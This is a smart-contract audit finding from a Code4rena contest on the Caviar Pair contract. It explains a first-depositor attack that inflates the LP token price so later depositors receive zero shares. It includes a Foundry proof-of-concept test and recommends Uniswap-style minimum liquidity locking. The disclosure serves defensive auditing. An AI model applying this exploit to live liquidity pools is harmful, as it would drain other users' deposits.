Platform: Code4rena
Start Date: 12/12/2022
Pot Size: $36,500 USDC
Total HM: 8
Participants: 103
Period: 7 days
Judge: berndartmueller
Id: 193
League: ETH
Rank: 98/103
Findings: 1
Award: $6.99
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: minhquanym
Also found by: 0x52, 0xDecorativePineapple, Apocalypto, BAHOZ, ElKu, Franfran, HE1M, Jeiwan, KingNFT, Koolex, SamGMK, Tointer, Tricko, UNCHAIN, __141345__, ak1, aviggiano, bytehat, carrotsmuggler, cccz, chaduke, cozzetti, dipp, eyexploit, fs0c, haku, hansfriese, hihen, immeas, izhelyazkov, koxuan, ladboy233, lumoswiz, rajatbeladiya, rjs, rvierdiiev, seyni, supernova, unforgiven, yixxas
6.9881 USDC - $6.99
https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L63-L99 https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L77 https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L421
A first depositer can deposit minimum amount of baseToken and fractionalToken then manipulate the baseToken reserves by sending a big amount directly to the Pair contract. Thus, inflating LPToken price. Any further deposits with smaller (but reasonable) amount will result in zero share of LPToken. This occurs due to the the lp token shares calculation that use baseToken reserves as a denominator.
https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L77
https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L421
// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "forge-std/Test.sol"; import "forge-std/console.sol"; import "../../shared/Fixture.t.sol"; import "../../../src/Caviar.sol"; import "../../../script/CreatePair.s.sol"; contract AddTest is Fixture { event Add(uint256 baseTokenAmount, uint256 fractionalTokenAmount, uint256 lpTokenAmount); function setUp() public { deal(address(usd), address(this), 1000000*1e18, true); deal(address(p), address(this), 1000000*1e18, true); usd.approve(address(p), type(uint256).max); } function testinfaltingLpTokenPrice() public { // arrange uint256 _initBaseTokenAmount = 1; uint256 _initFractionalTokenAmount = 1; uint256 initMinLpTokenAmount = Math.sqrt(_initBaseTokenAmount * _initFractionalTokenAmount); uint256 lpTokenAmount = p.add(_initBaseTokenAmount, _initFractionalTokenAmount, initMinLpTokenAmount); // initial add console.log('lpTokenAmount of first depositer: %d',lpTokenAmount); // first depositer gets one lpToken assertEq(lpTokenAmount,1); // first depositer transfers big amount of baseToken to inflate the lpToken price console.log('baseTokenReserves before: %d',p.baseTokenReserves()); usd.transfer(address(p),100000*1e18); console.log('baseTokenReserves after: %d',p.baseTokenReserves()); // user babe would like to add 1000*1e18 vm.startPrank(babe); deal(address(usd), babe, 1000*1e18, true); deal(address(p), babe, 1000*1e18, true); usd.approve(address(p), type(uint256).max); uint256 lpTokenAmount2 = p.add(1000*1e18, 1000*1e18, 0); console.log('lpTokenAmount of user babe: %d',lpTokenAmount2); // second depositer gets zero lpToken assertEq(lpTokenAmount2,0); vm.stopPrank(); } }
forge test --match-path test/Pair/unit/AddVul.t.sol -vv
Manual analysis
The issue can be mitigated similiary to how Uniswap does, by permanently locking the first MINIMUM_LIQUIDITY tokens (which is 10**3) Please check:
Page 8 in the whitepaper (3.4 Initialization of liquidity token supply): https://uniswap.org/whitepaper.pdf
Uniswap source code: https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L121
Additionally, make sure the minLpTokenAmount passed is not zero. as you can see in the PoC above. it is allowed to pass zero as a value which shouldn't be a desired result by the user.
#0 - c4-judge
2022-12-20T14:34:36Z
berndartmueller marked the issue as duplicate of #442
#1 - c4-judge
2023-01-10T09:12:36Z
berndartmueller marked the issue as satisfactory